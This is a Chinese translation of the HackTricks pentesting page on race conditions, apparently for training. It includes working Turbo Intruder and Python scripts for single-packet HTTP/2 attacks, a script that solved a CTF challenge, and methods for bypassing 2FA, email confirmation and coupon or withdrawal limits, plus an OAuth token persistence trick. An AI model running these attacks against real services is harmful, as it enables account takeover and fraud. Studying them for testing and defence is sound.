Race Condition

使用 Trickest 轻松构建和 自动化工作流，由世界上 最先进 的社区工具提供支持。立即获取访问权限：

Automate OffSec, EASM, and Custom Security Processes | Trickest

学习和实践 AWS 黑客技术：HackTricks 培训 AWS 红队专家 (ARTE) 学习和实践 GCP 黑客技术：HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

查看 订阅计划!
加入 💬 Discord 群组 或 Telegram 群组 或关注我们的 Twitter 🐦 @hacktricks_live.
通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 分享黑客技巧。

要深入了解此技术，请查看原始报告 https://portswigger.net/research/smashing-the-state-machine

增强竞争条件攻击

利用竞争条件的主要障碍是确保多个请求同时处理，处理时间差异非常小——理想情况下，少于 1 毫秒。

在这里，您可以找到一些同步请求的技术：

HTTP/2 单包攻击与 HTTP/1.1 最后字节同步

HTTP/2：支持通过单个 TCP 连接发送两个请求，减少网络抖动的影响。然而，由于服务器端的变化，两个请求可能不足以实现一致的竞争条件利用。
HTTP/1.1 '最后字节同步'：允许预发送 20-30 个请求的大部分内容，保留一个小片段，然后一起发送，实现同时到达服务器。

最后字节同步的准备包括：

发送头部和主体数据，去掉最后一个字节而不结束流。
在初始发送后暂停 100 毫秒。
禁用 TCP_NODELAY，以利用 Nagle 算法批处理最后的帧。
发送 ping 以预热连接。

随后发送的保留帧应以单个数据包到达，可以通过 Wireshark 验证。此方法不适用于静态文件，这些文件通常不涉及 RC 攻击。

适应服务器架构

了解目标的架构至关重要。前端服务器可能以不同的方式路由请求，从而影响时序。通过无关请求进行预热的服务器端连接，可能会使请求时序正常化。

处理基于会话的锁定

像 PHP 的会话处理程序这样的框架按会话序列化请求，可能会掩盖漏洞。为每个请求使用不同的会话令牌可以规避此问题。

克服速率或资源限制

如果连接预热无效，通过大量虚假请求故意触发 Web 服务器的速率或资源限制延迟，可能会通过引发服务器端延迟来促进单包攻击，从而有利于竞争条件。

攻击示例

Tubo Intruder - HTTP2 单包攻击 (1 个端点)：您可以将请求发送到 Turbo intruder (Extensions -> Turbo Intruder -> Send to Turbo Intruder)，您可以在请求中更改要暴力破解的 %s 的值，例如 csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s，然后从下拉菜单中选择 examples/race-single-packer-attack.py：

如果您要 发送不同的值，您可以使用这个修改过的代码，它使用剪贴板中的字典：

passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

如果网站不支持 HTTP2（仅支持 HTTP1.1），请使用 Engine.THREADED 或 Engine.BURP，而不是 Engine.BURP2。

Tubo Intruder - HTTP2 单包攻击（多个端点）：如果您需要向一个端点发送请求，然后向其他多个端点发送请求以触发 RCE，您可以将 race-single-packet-attack.py 脚本更改为如下内容：

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)

它也可以通过 Burp Suite 中新的“并行发送组”选项在 Repeater 中使用。
对于 limit-overrun，您可以在组中添加相同的请求 50 次。
对于 connection warming，您可以在 组的开始添加一些请求到 web 服务器的某个非静态部分。
对于 delaying 处理 一个请求和另一个请求之间的过程，您可以在两个请求之间添加额外的请求。
对于 multi-endpoint RC，您可以开始发送请求，该请求进入隐藏状态，然后在其后发送 50 个请求，这些请求利用隐藏状态。

自动化 python 脚本：该脚本的目标是更改用户的电子邮件，同时不断验证，直到新电子邮件的验证令牌到达最后一个电子邮件（这是因为在代码中看到一个 RC，可以修改电子邮件，但验证被发送到旧电子邮件，因为指示电子邮件的变量已经用第一个填充）。当在收到的电子邮件中找到“objetivo”这个词时，我们知道我们收到了更改电子邮件的验证令牌，并结束攻击。

# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)

# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

改进单包攻击

在原始研究中解释了此攻击的限制为1,500字节。然而，在这篇文章中，解释了如何通过使用IP层分片（将单个数据包拆分为多个IP数据包）并以不同顺序发送它们，从而扩展单包攻击的1,500字节限制到TCP的65,535 B窗口限制，这使得在所有片段到达服务器之前，防止重新组装数据包。这项技术使研究人员能够在大约166毫秒内发送10,000个请求。

请注意，尽管此改进使得在需要数百/数千个数据包同时到达的RC攻击中更可靠，但它也可能有一些软件限制。一些流行的HTTP服务器，如Apache、Nginx和Go，将SETTINGS_MAX_CONCURRENT_STREAMS设置为100、128和250。然而，其他如NodeJS和nghttp2则没有限制。这基本上意味着Apache将只考虑来自单个TCP连接的100个HTTP连接（限制了此RC攻击）。

您可以在仓库https://github.com/Ry0taK/first-sequence-sync/tree/main中找到使用此技术的一些示例。

原始BF

在之前的研究之前，使用了一些有效载荷，这些有效载荷只是试图尽可能快地发送数据包以引发RC。

Repeater: 查看上一节中的示例。
Intruder: 将请求发送到Intruder，在选项菜单中将线程数设置为30，并选择有效载荷为空有效载荷并生成30个。
Turbo Intruder

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)

Python - asyncio

import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

RC Methodology

Limit-overrun / TOCTOU

这是最基本的竞争条件类型，其中漏洞出现在限制你执行某个操作次数的地方。比如在网上商店中多次使用相同的折扣码。一个非常简单的例子可以在这份报告或这个漏洞中找到。

这种攻击有许多变体，包括：

多次兑换礼品卡
多次评价产品
提取或转移超过账户余额的现金
重复使用单个 CAPTCHA 解
绕过反暴力破解速率限制

Hidden substates

利用复杂的竞争条件通常涉及利用与隐藏或意外机器子状态交互的短暂机会。以下是处理此问题的方法：

识别潜在的隐藏子状态

首先确定修改或与关键数据交互的端点，例如用户资料或密码重置过程。重点关注：
存储：优先选择操作服务器端持久数据的端点，而不是处理客户端数据的端点。
操作：寻找更可能创建可利用条件的操作，这些操作会改变现有数据，而不是添加新数据。
键控：成功的攻击通常涉及基于相同标识符的操作，例如用户名或重置令牌。

进行初步探测

使用竞争条件攻击测试识别的端点，观察是否有任何偏离预期结果的情况。意外的响应或应用程序行为的变化可能表明存在漏洞。

证明漏洞

将攻击缩小到利用漏洞所需的最少请求数量，通常仅为两个。此步骤可能需要多次尝试或自动化，因为涉及精确的时机。

Time Sensitive Attacks

请求的时机精确性可以揭示漏洞，特别是当使用可预测的方法（如时间戳）作为安全令牌时。例如，基于时间戳生成密码重置令牌可能允许同时请求相同的令牌。

利用方法：

使用精确的时机，例如单个数据包攻击，发起并发的密码重置请求。相同的令牌表明存在漏洞。

示例：

同时请求两个密码重置令牌并进行比较。匹配的令牌表明令牌生成存在缺陷。

查看这个 PortSwigger Lab 来尝试这个。

Hidden substates case studies

Pay & add an Item

查看这个 PortSwigger Lab 以了解如何在商店中支付并添加一个额外的你不需要支付的物品。

Confirm other emails

这个想法是同时验证一个电子邮件地址并将其更改为另一个，以找出平台是否验证新更改的地址。

根据这项研究，Gitlab 通过这种方式容易受到接管，因为它可能将一个电子邮件的 电子邮件验证令牌发送到另一个电子邮件。

查看这个 PortSwigger Lab 来尝试这个。

Hidden Database states / Confirmation Bypass

如果使用2个不同的写入来添加信息到数据库中，则在仅写入第一条数据的短暂时间内，token可能为null。例如，在创建用户时，用户名和密码可能被写入，然后确认新创建账户的令牌被写入。这意味着在短时间内，确认账户的令牌为null。

因此，注册一个账户并发送多个带有空令牌（token=或token[]=或任何其他变体）以立即确认账户，可能允许确认一个你无法控制电子邮件的账户。

查看这个 PortSwigger Lab 来尝试这个。

Bypass 2FA

以下伪代码容易受到竞争条件的影响，因为在创建会话的非常短时间内，2FA未被强制执行：

session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

OAuth2 永久持久性

有几个 OAUth 提供者。这些服务允许您创建一个应用程序并验证提供者注册的用户。为此，客户端需要允许您的应用程序访问其在OAUth 提供者中的某些数据。到这里为止，只是一个常见的使用 google/linkedin/github 等登录的过程，您会看到一个页面提示：“应用程序 <InsertCoolName> 想要访问您的信息，您想允许吗？”

`authorization_code` 中的竞争条件

问题出现在您接受后，自动将**authorization_code发送给恶意应用程序。然后，这个应用程序利用 OAUth 服务提供者中的竞争条件，从您的账户的**authorization_code生成多个 AT/RT（身份验证令牌/刷新令牌）。基本上，它将利用您已接受该应用程序访问您数据的事实来创建多个账户。然后，如果您停止允许该应用程序访问您的数据，一对 AT/RT 将被删除，但其他的仍然有效。